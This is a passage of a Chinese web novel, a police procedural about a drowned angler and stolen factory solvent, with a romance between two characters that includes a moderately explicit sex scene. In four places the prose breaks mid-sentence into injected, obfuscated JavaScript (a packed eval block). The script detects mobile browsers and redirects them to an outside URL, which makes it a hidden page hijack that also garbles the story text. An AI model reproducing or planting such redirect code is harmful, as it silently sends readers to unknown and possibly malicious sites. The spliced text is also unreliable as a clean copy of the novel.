“你是真不怕死啊?今天蓝色预警,天说变就变,真要起风打雷,鱼没钓着,先把你收走。” “春天的雨能有多大?“马顺发撇撇嘴,“这暴雨预警三天两头发,有几次真下了?” “就你废话多!”付勇火气上来了,怒道:“赶紧卷摊子!两位警官还有事问你。” “问啥啊?我搁这儿钓鱼又不犯法。”马顺发一边收竿,一边嘟囔,“真要问,不如去我店里问,付所您辛苦点,把船开到桥北口就行。” “合着我还成你专车司机了。”付勇白了他一眼,“你倒会找机会揽生意。” 河风吹得人直打哆嗦,肚子也跟着咕噜响,苗川大手一挥:“就去哪儿,桥北口。” 马顺发的店是一家典型的夜市小馆,还没到开张的时间点,店里空空荡荡,灯管只亮了一半。 三人找了张圆桌坐下,桌上摆着半碟瓜子,估摸是头天客人剩下的。后堂传来叮叮当当的备菜声,马顺发往桌上放了壶茶,便钻进后堂张罗。 苗川伸手抓了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431728|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把瓜子,边嗑边说:“反正账记李达坤头上,要不喊「虫子专家」一块儿,前面那案子还得多谢人家。” 罗乐正在倒茶,手一顿,抬眼斜了他一下:“有你这么请客的吗?菜都点完了才想起来叫人。” 苗川撇撇嘴:“我这不是刚想起来嘛。” “谢谢,他不爱吃辣。”罗乐挤出一个称得上礼貌的笑容。 “哎,我说——”苗川刚要问点啥,就被付勇扯着嗓子“多点辣椒”的声音打断。 油香一阵阵地飘出来,罗乐把茶杯推到付勇手边,环顾四周,问:“这儿您常来吗?” 付勇撕开湿巾擦了擦手:“马顺发这摊子,在这片夜市街小有名气。” 没多会儿,菜就出来了,马顺发摘下围裙,自己拉了个凳子坐下,热情招呼:“杂鱼锅趁热吃,包新鲜,这都是我今儿一大早在河里钓的。要是付所你晚来一步,我就能请大家吃炖鲢鱼了。” 付勇撇嘴笑骂:“你少吹吧,你钓上来的鲢鱼八成比巴掌大不了多少。” “您这就外行了,鲢鱼哪有那么小的。”马顺发立刻不服。 眼看两人又要吵起来,罗乐接上话:“鲢鱼平均体长三十五到四十五公分,成鱼在一两公斤以上,‘巴掌大’也成立,但只能归类为鱼苗。钓鱼苗违法行为,而且它那点小嘴也吞不下饵。” “所以,您二位都没错,有巴掌大的鲢鱼,但钓不上来。” 桌上寂静三秒,除了苗川一副见怪不怪的神情,其余俩人全愣了:付勇的筷子停在半空,马顺发嘴巴张得老大,像是怀疑自己误闯了渔政科普讲座。 “这人嘴碎惯了,咱刑警队的野生专家,鱼虫鸟兽都能插上一嘴。二位当个笑话听就行。”苗川笑了笑,转向马顺发:“咱们说正事,您和杜彦成上次见面是什么时候?” “有半个多月没见了。”马顺发叹了口气,“唉,要不是你们说,我都不知道他叫杜彦成。一直老杜老杜地喊,原来才三十九岁,比我还小五岁……” 说着他给自己倒了杯酒,仰头咕嘟灌下一口,招呼道:“你们不来点?” 苗川摆摆手:“下午还得上班,改天专门来店里喝。你和老杜平时就在桥底下那平台上钓鱼吗?” “我爱来这儿,他嘛有时候过来。”马顺发点头。 苗川:“咋过去?” 马顺发:“有船嘛,掏钱就有人送。近处二十块一位,远点儿我没去过。” “好嘛!”付勇眼睛一瞪,“这不就是有组织吗?照理说得一锅端,先把那船老大按非法营运给抓了!” “付所,你还让不让我说了。”马顺发哭丧着脸。 罗乐忙把话题拉回来:“杜彦成被工厂辞退的事,他跟你提过吗?” “啊?”马顺发一愣,眉毛拧起来,“他被工厂辞了?” 苗川接口:“他家属说,他因为被辞工心情郁闷,喝闷酒上头才寻的短见。” “扯淡!”马顺发把杯子往桌上重重地一搁,“肯定是他那小舅子想要赔偿金胡说的!老杜绝对不可能寻短见,这事儿有蹊跷。” 罗乐盯着他:“为什么他绝不可能寻短见?按他家人的说法,老杜水性很好,不可能在水里出意外。” “他才买了根新竿子,还嚷着要钓条大的开开光。”马顺发情绪激动,连声调都高了,“几千块钱的竿子他都舍得下手,能舍得死吗?” “钓鱼讲究的就是一个盼头,今天空军,明天就可能中大鱼。人活着也一样,再难的日子只要撑住,就有希望,我们钓鱼佬,认得了苦,认得了空,但绝不认死。” 罗乐神情微动:“换竿子是什么时候的事?” “就上周啊。” “你不是说半个月没见他了?你怎么知道他换了竿子?” “抖音啊!”马顺发下巴一抬,“他自己发的,竿子就拿在手里,还乐呵呵的。” 71.牙印样本 吃完饭出来正好撞上大雨,天沉得像是要塌下来。雨刷有节奏地扫过玻璃。 罗乐半靠在椅背上刷抖音,苗川打着方向盘,冷不丁来了一句:“你就不觉得惭愧吗?” “惭愧?”罗乐偏过头,“我为什么要惭愧?” 苗川咬牙切齿道:“你今天居然说出只给你的云对象划船?让我靠边站?!” 罗乐“噗”地笑出声:“哎呦,你还记得呢?” “公车私车我给你当多少次司机了,你倒好,连条破船都不愿意划!”苗川气得拍了一把方向盘。 罗乐笑得手机差点掉了:“车是交通工具,船是浪漫套餐,能一样吗?行行行,下次去南湖,租条青蛙船,你踩左边,我踩右边,咱俩搭档并肩前行。” “谁稀得和你踩!”苗川脸色一黑,一脚踩下油门,“我是提醒你,别太忘恩负义!” “为啥不是重色轻友?” “你哪来的色?就你那云对象?”苗川横了他一眼。 一道闪电划过,过了两三秒,雷声轰然砸下,罗乐盯着屏幕,忽然坐直了身子:“有点意思啊。” “有意思个屁!”苗川骂道。 “我是说杜彦成发的小视频评论区,我发现一个熟人……” 一声闷雷从天边滚来,窗外大雨如瀑,远处的楼影全糊在雨幕里。 刘瑞抬头望向外面:“气象预警升到橙色了。”陈建平立刻接上话:“群里还没通知吗?我这种住在南城的,能不能提前撤啊?” 刘瑞把手里的笔往桌上轻轻一扣:“把活儿干完,你现在就可以下班。” “……”陈建平脖子一缩,讪讪闭了嘴。 室内安静得有些尴尬,陶律夏把手里的报告页码齐,转移话题:“我之前看的一些推理小说,不少凶手会选择在雨天犯案。” “小陶还看推理小说呢?”陈建平又停下手里的活儿,“你不会是因为爱看破案故事,才跑来公安局实习吧?” “也有这方面的原因,”陶律夏微微一笑,“但权重不大。” “喜欢谁的推理小说?”冯宁问。 “看得比较杂,最喜欢柯南道尔。大雨真的会给现场勘验造成很大难度?还是说其实是作者用来塑造气氛?” 陈建平:“大雨天对勘验当然有影响了。比如烟头,潮了、泡了,指纹就破坏了,唾液里DNA也被稀释,就剩一根湿纸棍子。” “还有血迹。”冯宁停下敲键盘的动作,“雨水会稀释并冲散血迹,但并不是完全无迹可寻。前年南郊那起案子,原始落点的血迹完全被冲干净了,但我们还是在五米开外的泥土层里检到了有效成分。” “冯博士,你干嘛不直接告诉小陶,现场勘验员本来啥都没采着,多亏了你,才发现了一点残留,把案子破了。”陈建平哼了一声。 冯宁:“这是基本的工作态度,我认为不需要专门强调。” “什么工作态度?”罗乐推门进来,手里拎着一袋奶茶,肩头和发梢还带着雨气,“今儿这天气,外卖根本叫不到,我亲自到店打包。” 刘瑞笑道:“说的就是你这风雨无阻的工作态度。” 陶律夏接过杯子放在一旁,取出一块叠得方方正正的手帕,抬手到半空,又克制地收回去:“淋雨生病的风险你就一点也不会算。擦一擦,头发都弄湿了。” 罗乐接过手帕在脑袋上胡乱一揉,凑到他耳边低声:“你不是说想拍闪电,下班一起去看看。” * 电光自漆黑的天顶劈落,瞬间化作横贯天际的银藤,枝枝蔓蔓在云层间绽放。整片楼宇的轮廓在白光中清晰浮现,转瞬又重归黑暗,只余夜幕里零星的窗灯与滚滚雷声。 两人支好三脚架,在机身套上一层简易防雨罩,插好快门线,调整好参数,时不时轮换在取景器里查看。在无数张模糊与错过的废片后,那道劈开的光,终于落在镜头里。 “中啦!”罗乐眼睛一亮,按着陶律夏的肩膀,几乎把他搬到取景区跟前,“看这!清清楚楚的分叉。” 陶律夏点点头:“角度还行。” “还行?”罗乐佯装不满,一把把人搂过来,贴在自己怀里:“来,合照一张!我们俩还没拍过合影呢,刚好和闪电一起。” 陶律夏:“幼稚……” 可就在下一道闪电劈下,夜空被照得雪亮的瞬间,他干了比这更幼稚的事——偏过头,凑近,轻轻亲在了罗乐的脸颊上。 相机定格下那一幕,罗乐盯着预览屏,笑得肩膀都在抖:“完美!以后谁再说你是高冷天菜,我就把这张给他看。” “你要敢曝光,我就——”陶律夏扬起手。 “就什么?”罗乐笑着靠近,“你又要威胁我啥?” 雨点顺着罗乐的脸颊滑下,天台昏黄色的光映出一张棱角分明的脸,眉目清朗,眼底是笑。陶律夏看着他,凑近一步,又亲了上去,舌尖舔过唇线,探入唇缝,搅动着与他的缠在一起轻啜吮吸。 呼吸停顿的空隙,罗乐低声轻骂:“你小子,一到野外就发……” “发什么?”陶律夏睁开眼睛盯着他。 眼神凌厉,像是真威胁,罗乐果断认怂,转身收拾起相机和三脚架,嘴里嘀咕:“哥都不好意思说出口。” 谁知陶律夏不依不饶跟上来:“说清楚。”罗乐耳尖发红,只得支吾着笑:“结合语境,有那么难猜吗?” “我让你说!” “行啊,我看你就是故意的!”罗乐一个回身把人推到墙上。 墙壁冰凉,雨点啪啪砸在肩头,他狠狠吻过后,额头抵着陶律夏气息不稳地问:“下回还敢不敢逼我了?” “问两句就失衡,你的临界值也太低了吧。”陶律夏扬着头,眼神带着点倔强的锋芒。 “好啊,今天我就得让你知道,超过临界值我会怎么收拾人。”罗乐一只手拎起器械包,另一只手直接抱着人越过台阶。 回到屋,他把器械包往玄关一放,反手就把人抵在门板上。陶律夏微微仰着头,被亲得呼吸凌乱,试图偏开一点,却被捏着下颌,生生扳了回来。 一路亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440748|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到浴室门口,扯·开雨衣纽扣,湿漉漉的衣服一并砸在地板上,“一起·洗可以吗?”罗乐沙哑着嗓子问。 陶律夏被困在他怀里,眼尾泛红:“……不行,你放开。” “放开?你今天说什么都晚了。” “那你还问我可不可以!想听拒绝再硬·上?罗警官原来好这口?”陶律夏仰着头挑衅。 罗乐一使力就把人抱了起来,“小崽子,考验你的革·命意志呢。” “结论……呢?” “结论是……很软弱。” 热气氤氲开来,罗乐把陶律夏压·到墙上又亲了起来。 “想不想要……” “……” 耳垂被含住轻咬,强烈的刺激让陶律夏下意识地把头偏向一边,罗乐转战另一侧,连耳廓一起舔吻,舌头卷起,袭击耳内。 “说话啊宝贝,想不想?” “想……” 水声与喘息声混在一起,久久未停,直到一个多小时后,罗乐才把人抱回卧室。 一夜温存,雨声停了,世界安静下来,晨光顺着窗帘的缝隙溜进来,一线柔光斜斜落在床单上。 罗乐半倚着枕头,伸手把人圈住,声音里带着心疼:“让你嘴硬,现在能下床吗?要不要我给你请个假?” 陶律夏闭着眼,嗓音沙哑:“……下床当然可以,但现在不想理你。” “……又不想理人了?”罗乐故意把声调拉高,“昨天是谁啊,趴在我怀里,叫那么娇气,我一松手你就拽回来,扒着我脖子不撒手,腿还缠得死紧。现在醒了就开始装冷漠?你就这么……” 话还没说完,嘴就被一只手堵住,胳膊还挨了好几下砸。罗乐故意“哎哟”一声,作出一副被欺负惨了的模样:“你看看你,手也打我,嘴也咬我,昨晚哥是怎么活下来的?” “谁咬你了!” “这还能赖?!”罗乐揭开被子,露出肩膀上、胳膊上一排排清晰的牙印:“全是证据,要不要采个样送到技侦科比对一下,查查是哪只小狗留下的咬痕?” 陶律夏睁眼瞪他:“不行!” “有什么不行,我一上班就要去,谁匹配成功,就得和我终身绑定。” 陶律夏抬手又要打人,罗乐往前一扑,把人压进被窝里,又腻歪了一小时。 “你再睡会,我去做早饭。”罗乐轻声在耳边说。 “不要……”陶律夏指尖在他后·腰轻轻勾了一下,收紧了手臂。 “又不让我走?” “……” “是不是让我陪啊宝贝?怎么又不吭声了,昨晚喊得太多?嗓子哑了?又说不出话了?” “……你给我滚远点!” “滚远了你吼谁啊?”罗乐把人一搂,“你现在怎么成这样了,你不是情绪管理王者吗?现在怎么这么爱炸毛?还动不动就打人……” “跟你学的!被你同化了!” “哥可从来不会打人。”罗乐笑着贴上他的后颈,“不过哥哥很高兴,你越来越……像个凡人了。” 72.直问动机 上午十一点,汽修店卷帘门半敞,周平正拖着地,听见脚步声,他抬头一瞥,随即把手里的墩布往地上重重一撂。 “罗警官,怎么又是你?” “来看看你整改得怎么样。”罗乐随口一笑,朝四周打量一圈。 “还能怎么样?罚款都交了。”周平甩了甩拖把,不耐烦地问,“你又来干什么?” 罗乐也没废话,声音压低:“杜彦成,认识吗?” “……不认识。”周平低下头,拖把在地上来回推着,似要把那块拖秃噜皮。 罗乐把手机掏出来,点开抖音评论区,俯身把屏幕怼到他眼前,指着一个头像:“那这人是谁?” 周平扫了一眼,长长叹了口气,把拖把立在墙边。 “想否认也行,”罗乐冷笑一声,“下次别拿自己照片当头像。这写得什么啊——「兄弟走好……」怎么,转眼就不认识兄弟了?” 周平沉默了一会,叹气:“钓鱼认识的,前几天听说他跳河了。” “你们平时除了钓鱼,还有什么来往吗?”罗乐问。 “没有。” “知道他在哪儿上班吗?” “……不知道。” “不知道?”罗乐缓缓靠近一步,眼神凌厉,“那我告诉你吧——双安化工集团。” 周平避开罗乐的目光,走到工作台端起杯子灌了一口水。 “现在告诉你了。”罗乐手里的笔尖轻轻敲了两下桌面,“那你猜猜……他在双安化工具体干的什么?” “他干什么,我上哪知道去!”周平烦躁地把杯子往桌上一搁,“不知道!不知道!” 罗乐却只是盯着他:“他干活的那条生产线,过完年因为环保换标停工了,停工之前生产的是——” “工业清洁溶剂。” 周平喉结滚了滚,咽了口吐沫,想要反驳什么,却半天都没吭声。 “听着耳熟吗?”罗乐眯起眼,“你上次倒掉的那批溶剂,检验报告还在我手里呢。要不要再对比检测一下,是不是跟双安化工淘汰下来的那批一模一样?” “警官!”周平抬起头,眼神里慌乱和怒意混在一起,“你到底想说什么?!” “我想说什么?”罗乐冷笑,“周平,不如你自己说。你这算不算参与倒卖国有资产?算不算非法储存危险化学品?” “警官,你可别给人乱扣帽子!”周平脸色一变,语速陡然快了,“我就买过两次!加起来才三千多块钱!他说他有关系能弄来便宜货,我哪知道是从工厂偷的,还是从哪买的?国有资产这种事儿,跟我半毛钱关系都没有!” 周平咽了口唾沫,嘴硬道:“我就是个修车的。对,我是图便宜买了点不达标的溶剂,但你能说我这是倒卖国有资产?!” “能便宜多少?”罗乐问。 “正常得一千多,他卖我五百。”周平慢慢吞吞挤出一句。 罗乐眼神一沉,冷笑道:“原价的二分之一?便宜了这么多,说没问题你也信?” “他说是报废的,可质量没问题啊。”周平声音发虚,却还在硬撑。 “质量没问题?”罗乐猛地拔高声音,压近半步:“你觉得三千块不算多,就能当没事?但我见过因为一桶来路不明的溶剂,车库爆炸、三个人没了的案子。违法不是只看多少钱,要看性质、看后果!” “你想省点钱,但有些便宜不能贪,你可能觉得没什么,但出事了,受害的就不止你一个!” 他停了片刻,在纸面画了两下,问:“刚说买了两次,是哪两次?” “过年后……买过一次。”周平的声音低下去,“那会儿他老缠着我,说有货处理,便宜卖。我一开始就不想要,被他磨烦了,才收了几桶。” “过年后是哪天?” “3月3号。”周平看了眼手机。 “后来呢?”罗乐问。 “后来就是……3月28号。”周平眼神闪躲,硬着头皮说:“那天我在便利店门口等人,其实就是等他。催了他好几次,才磨磨蹭蹭拉来几桶。” “……就是被你们发现的那几桶,早知道我就不该要!我哪知道会惹这么多事。” “货是从厂里运出来的吗?”罗乐又问。 “这我可真不知道,我没骗你罗警官,我真不知道他那货是从哪弄来的。” “行了,最近不许离开京北。”罗乐把手里的笔记本合上,装进夹克口袋,转身往外走。 “警官……”周平怯怯地在身后喊了一声。 罗乐脚步一顿,转过身:“老老实实做生意,高高兴兴钓鱼。别再动歪心思,真要查出你有问题,一并起诉。” 调查完回到办公室,李达坤正被苗川起哄“该请客”。 他一开始还板着脸,但转念一想,这阵子大家确实辛苦,便同意了:“行,请你们吃个好的。湖北菜,车程五分钟。” 话一出口,李达坤自己心里先“咯噔”一下。湖北菜?怎么就随口蹦出个湖北菜?更离谱的是,脑子里竟然自动浮现出「放电耗子」的表盘,又一发不可收拾地想起总裁那张演技高超的脸。 “可恨……”他咬牙低声骂了一句。 “师父,你说谁可恨呢?”苗川耳朵尖,立刻凑了过来。 李达坤压根没理,脸一沉,抬腿就往前走。偏偏这时候,苗川又不知死活地张罗起来:“哎,罗乐,你给「虫子专家」打个电话,湖北菜他总能吃吧。” 李达坤猛地回过头:“叫他干嘛?” 罗乐还没开口,苗川就先义正言辞地辩护起来:“师父,你这话就不厚道了,上个案子能破,人家帮多大忙?老实说,这顿饭你早该请了!” “行行行,随你们便!”李达坤闷声一吼,板着脸走在前头。湖北菜、「虫子专家」、还有总裁的那张脸,全都搅成了一锅粥,咕嘟咕嘟地在脑子里翻腾,还没吃呢就让人心烦! 「虫子专家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454891|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 」还真被罗乐喊来了。 人刚一坐下就被苗川捧场:“来来来,陶老师,咱们以茶代酒敬你一杯,上个案子多亏你了,不然还得卡着。” 李达坤埋头扒菜,心里暗暗翻了个白眼,「虫子专家」算哪根葱?怎么一个个都把他往上捧? 尤其是那个小罗,平时拽得跟二五八万似的,动不动就对别人的工作指手画脚。现在倒好,夹菜盛汤殷勤得跟孝子似的。刚才还莫名其妙问他一句:“椅子硬不硬?” 硬个屁!均消三百起的店,还有10%的包间服务费,还能让你坐硬板凳?果然是总裁请客的店,这桌饭最少得花一千多,真不如请这伙人吃大排挡实在。 “其实我只是提供了一个验证方向,真正提取出有效证据的是刘瑞警官和隔壁技术组。案子能破,靠得是苗警官和……罗警官一直追查。”陶律夏轻笑着接过了话。 李达坤筷子一顿,目光扫向对面,模样冷冷淡淡,倒还会说些场面话。不管是对案子的贡献,还是这副谦卑友好的姿态,竟让他略略有些刮目相看。 “这是谁点的野菜汤?点野菜也就算了,怎么还是个汤?”苗川转着转盘,嫌弃地嚷嚷。 “我点的,春菜入羹其实古时就有。”陶律夏说。 李达坤刚升起的一丝认同又被这股矫情劲造没了,果然和那位精英舅舅一个调调,他冷哼一声:“古人能有口热面汤喝就不错了,还挑这口。” 转盘正好停在罗乐面前,他拿起汤勺和碗接上话:“古人怎么不挑,苏轼就写过--雪沫乳花浮午盏,蓼茸蒿笋试春盘。人间有味是清欢。” “……“ 好嘛,又来了,平时装装专家也就算了,现在连吃口野菜汤都要拔高到文人境界?李达坤瞪了罗乐一眼,奈何那小子此时只顾着给「虫子专家」盛汤,压根没注意到他的白眼。 一个端着文气,一个附庸风雅,配合得像排练过似的。李达坤悻悻地戳了一筷子鱼肉,就听见秦涛问起:“小陶,你来公安局实习能适应不?” “能。”陶律夏把筷子放下,“科研和勘验有很多相通的地方。科研为了验证‘可能’,勘验为了厘清‘事实’,实验要确保结果可重复性,勘验要能经得起复核和交叉验证。” 李达坤往椅背上一靠,抛出一句如在审讯室里的质问:“你为什么要来公安局实习?” “李队,您这是打算在饭桌上开庭吗?”罗乐立刻插话,笑里带刺。 这小子到底是哪一边的?李达坤心里暗骂,正要再开口,就听到陶律夏接上话—— “没关系,我也喜欢直问动机。来这里的初衷是一个私人原因,但伴随做出这个决定,我发现了自己身上的变化——从纯粹的逻辑驱动到学会感受过程、理解意义,并允许变化重新塑造「自我」。” “所以现在回看这个问题,我为什么要来这里实习?答案是:我找到了更完整、更真实的自己,也找到了想要走近的那部分世界。” 73.嫦娥四号 饭局渐进尾声,罗乐抬腕瞄了眼表说:“我下午得去一趟双安,你们能想到吗?周平倒腾的那点溶剂居然还能扯出后续。” “要不要我和你一起去。”陶律夏问。 “不行!”李达坤声色俱厉地打断。屋里瞬时安静下来,所有人都齐刷刷看向他。 李达坤把茶杯放在桌上,郑重道:“我答应你舅舅了,不带你去任何现场。我都请他吃饭了,总得守信用。” 苗川嘴快:“师父,你是不是说反了?是人家请你吃饭吧?” “有你什么事!”李达坤眼一瞪,“少插嘴!” “双安化工应该不算现场吧?”陶律夏不无所动,他看了眼罗乐:“是去复核线索吗?” “嗯。”罗乐点头,“去安保那边看看,主要想了解一下危废品处理的流程。” “处理危废品我可以帮上忙,我能看懂台账。”陶律夏说着把椅子往边上一推,就要跟着出门。 “哎哎哎!我说的话没人听是吧?”李达坤急了,拍着桌子喊。 “哎呦我的李队,人跟着我,你还能不放心?”罗乐转过头,“上回去化学所我们都配合过了,行云流水。” “化学所?这是什么时候的事?!”李达坤愣住,反应过来时两人已经走出了包厢门。 “哎——” 苗川一边把没怎么动筷的水煎包装进食品袋,一边说:“师父,做家长的哪管得了孩子,你就省点心吧。” “说什么呢?谁是家长?!”李达坤差点被噎住。 苗川把筷子放下,笑嘻嘻道:“您刚才不是说他舅舅嘛?再说了,罗乐还不靠谱吗?别的不讲,工作上他什么时候出过茬子?” 车钥匙在指尖转了个圈,罗乐半倚在车门边,冲着陶律夏一笑:“工厂晚点再去,咱俩先去放松一下。” “罗警官……”陶律夏眼神微眯,像在审视,“你这是打算公然怠工,还要带着实习生一起?” “怠什么工?”罗乐不以为意地笑笑,“我们这工作哪能分清楚上班下班,8小时工作时间不存在的。而且查案也得讲效率,身心不舒展,思路不敏捷。” “要评估效率,得先投入时间。”陶律夏神色一顿,声音忽然冷下来,“你是不是根本不想让我去?只是在换着法子拦着我?” 罗乐:“我拦你干嘛?不想让你去,把你撵回学校不是更直接。” “你——”陶律夏呼吸微滞,盯着他:“你是不是也和李队长,还有我舅舅一样,不想让我去现场?” 罗乐没吭声,只是垂下眼。国槐的叶子由嫩浅转为浓绿,风过时,枝叶翻卷着簌簌作响,斑驳的光影落在他肩上。 “是不是?”陶律夏靠近一步。 “是!”罗乐抬起眼,毫不犹豫:“我不想你去一线,这还用问吗?爱你的人,谁会愿意看你冒险?” 陶律夏怔住,眼里的光一点点黯下去。 罗乐叹了口气,掌心落在他肩上:“干嘛摆这个表情,我还没说完呢。刚才听你说‘你找到了自己,找到了世界’,我改主意了。” “我还是不情愿,这不能骗你。可我不想再用保护你的名义拦着你,你要去,那我们就一起去。” 罗乐伸手挑开陶律夏额前的头发:“李达坤是什么人啊,活阎王,为了带你出来,我连他都顶了。你这么聪明,哥哥什么立场,你还能看不出来?“ “只是暂时调休一下,我想带你去个地方,就得今天去。” “哦……”陶律夏应了一声。 “哦是什么意思?”罗乐嘴角挂笑,“这是,相信我了?” “当然。”陶律夏点点头,眼神认真,“要去哪儿?” “到了就知道了。”罗乐俯身在他唇角轻吻,“谢谢陶老师配合。” 车子一路往东,经过绿荫和街区,停在一片宽阔的广场。陶律夏解开安全带,看向远处建筑上醒目的牌子:“……航天馆?” “对,今天是航天日。”罗乐关上车门,步伐潇洒地走向前方,五星红旗在风里招展,映得他的背影都有几分昂扬。陶律夏跟上他,二人并肩走上台阶。 踏进展厅,一条恢宏的时间线映入眼帘——“东方红一号”唱响寰宇,神舟飞船直上九天,北斗星座将“星辰”化作路标…… 沿着参观动线一路走到展厅中央,一枚火箭模型直指穹顶,顶端的国旗鲜艳夺目,旁边是载人飞船的返回舱。几个小朋友趴在栏杆上,嘴里嚷嚷着“我要当航天员”的豪言壮语。 “走,去那边!”罗乐牵起陶律夏的手,“火箭发射模拟快开始了。” “倒计时十秒,十——九——八——”孩子的嗓音与视频中的解说词交叠成一股声浪,“发射——”火箭拖曳烈焰破空而上。 “别眨眼,马上是一级分离——最帅的几秒。”罗乐凑到陶律夏耳边。 “参观怎么还带剧透?”陶律夏侧头瞥了一眼。 “赶紧看!”罗乐揉了一把他的头发。 “一级火箭分离!” “二级火箭加速飞行!” “整流罩分离!” 陶律夏看着大屏幕,点火、分离、入轨……这些都可以用数据描述,用公式演算,可当火焰喷薄而出,火箭直冲天际,掌声与欢呼像潮水一样翻涌时,不可名状的浪漫在他胸腔里奔腾。 热烈不可阻挡,人类的征程的确是……星辰大海。 火箭的尾焰缩成一点亮光,没入无垠星海,随即飞船展开太阳能帆板,如一只银色飞鸟遨游于深蓝色的太空。 “船箭分离,飞船进入预定运行轨道!”罗乐比解说词还快了半句。 “你到底来过几次?”陶律夏问。 罗乐转过头深深地看了他一眼:“无数次……” “走吧,去月球馆。”罗乐牵着他熟门熟路走上楼梯。 展厅中央的墙壁上挂着一幅月球的全景图,亮面与阴影清晰分明。 “看到玉兔没?”罗乐问。 “玉兔只是人类对月面阴影的想象,它捣药也好,捣麻糬也罢,本质上只是文化符号的差异。” “行了,陶老师,我没问文化考题。”罗乐敲了敲展柜的玻璃:“我说的是六条腿的这个,玉兔号月球车!” “哦……”陶律夏目光一转,望了过去,果然在玻璃柜里看到一台月球车模型:六个车轮支撑着身躯,通体银白,车顶铺展着太阳能电池板。 “影像版看过不少,实物模型还是第一次见,很可爱。” “看影像的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469298|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,注意到地上的车辙印没?”罗乐点了点柜面。 陶律夏走近,模型旁陈列着几张图像,月壤上留着月球车驶过的清晰辙印,他点点头:“倒没特别留意过这个,怎么了?” 罗乐低声哼笑:“果然,人类最大的盲点从来都是自身,即便天才如你也会忽视自己的漏洞。” “什么漏洞?” “我们认识以来,你最大的逻辑漏洞。”罗乐直视着他。 陶律夏一时失笑:“你到底在说什么?” 罗乐:“月球没有大气,没有风雨侵蚀,哪怕再过千万年,你的漏洞也会顽固地保留在那片灰壤之上。” “这又是什么逻辑?”陶律夏向罗乐投以宽容的一笑:“我不是月球车,我只是一个普通的生物体,能在月球上留下什么跨越时间的破绽?” 罗乐抬手敲了敲一旁的展板:“这是什么?” “南极—艾特肯盆地,月球上最大的撞击构造。”陶律夏顺着回答。 “那这个呢?”罗乐又问。 “冯·卡门撞击坑,以航空先驱,著名空气动力学家冯·卡门命名。” “对……”罗乐缓缓点头,“这是冯·卡门撞击坑,它在月球的背面,科幻小说里叫做——「月之暗面」。” 陶律夏怔了一瞬,记忆突兀闯入——那个与他分离的夜晚,和那个流了一夜眼泪的自己…… 罗乐靠近了一步,手掌覆在陶律夏的肩头:“登月是工程学的奇迹,需要伟大的目标、漫长的准备、一次次的演算、试错与重建……它不是浪漫主义的妄想,是长期规划后的必然抵达。” “你说人类无论如何仰望,都看不到月球的背面,可嫦娥四号降落在了南极—艾特肯盆地的冯·卡门撞击坑,它踏上了那一面。你最喜欢的月球车现在还在那片「暗面」,时不时从三十八万公里外,给地球发来新消息。” “律夏,”罗乐的手指在他肩上微微用力,“人心的宇宙是难抵达,可对我来说,靠近你--就是和登月一样的奇迹。” 陶律夏心头震荡,眼底的湿意悄然漫开:“你……怪我吗?” 罗乐的手滑到他颈后,低声道:“我怪我自己。我很后悔,不该放手,让你一个人又走了那么久……如果这是成长的必经之路,那现在我可以问你一个问题吗?” 他轻呼了一口气,一字一顿道:“嫦娥四号登上了月球暗面,我……可以登上你的心吗?” 一行眼泪滑过陶律夏的脸颊,他扬起脸:“我最喜欢的不是月球车,在有限的认知和无限的宇宙中,我最喜欢的,都是你。” “至于,你是什么时候登上了我的心……”陶律夏停了片刻,“应该就是和你分别的那一天,你离开了我的物理世界,降落在我的心里。” “爱有时候不是单独降临,它制造心碎却弥补裂缝,它带来恐惧也孕育勇气,它破坏秩序,但又赋予了意义。这是离开你很久以后,我才推导出的结论。” “对不起哥哥,让你等太久了。” 午后的阳光透过楼梯间的玻璃斑驳落下,天明明是晴的,窗上却溅落零星雨点。 罗乐轻轻擦去他脸上的泪痕,低声笑了,“哥哥一直在等的,不是这句话。” “我……爱你。” 74.人格内核 “「虫子专家」这外号谁起的?”李达坤手里翻着卷宗,头也没抬地问。 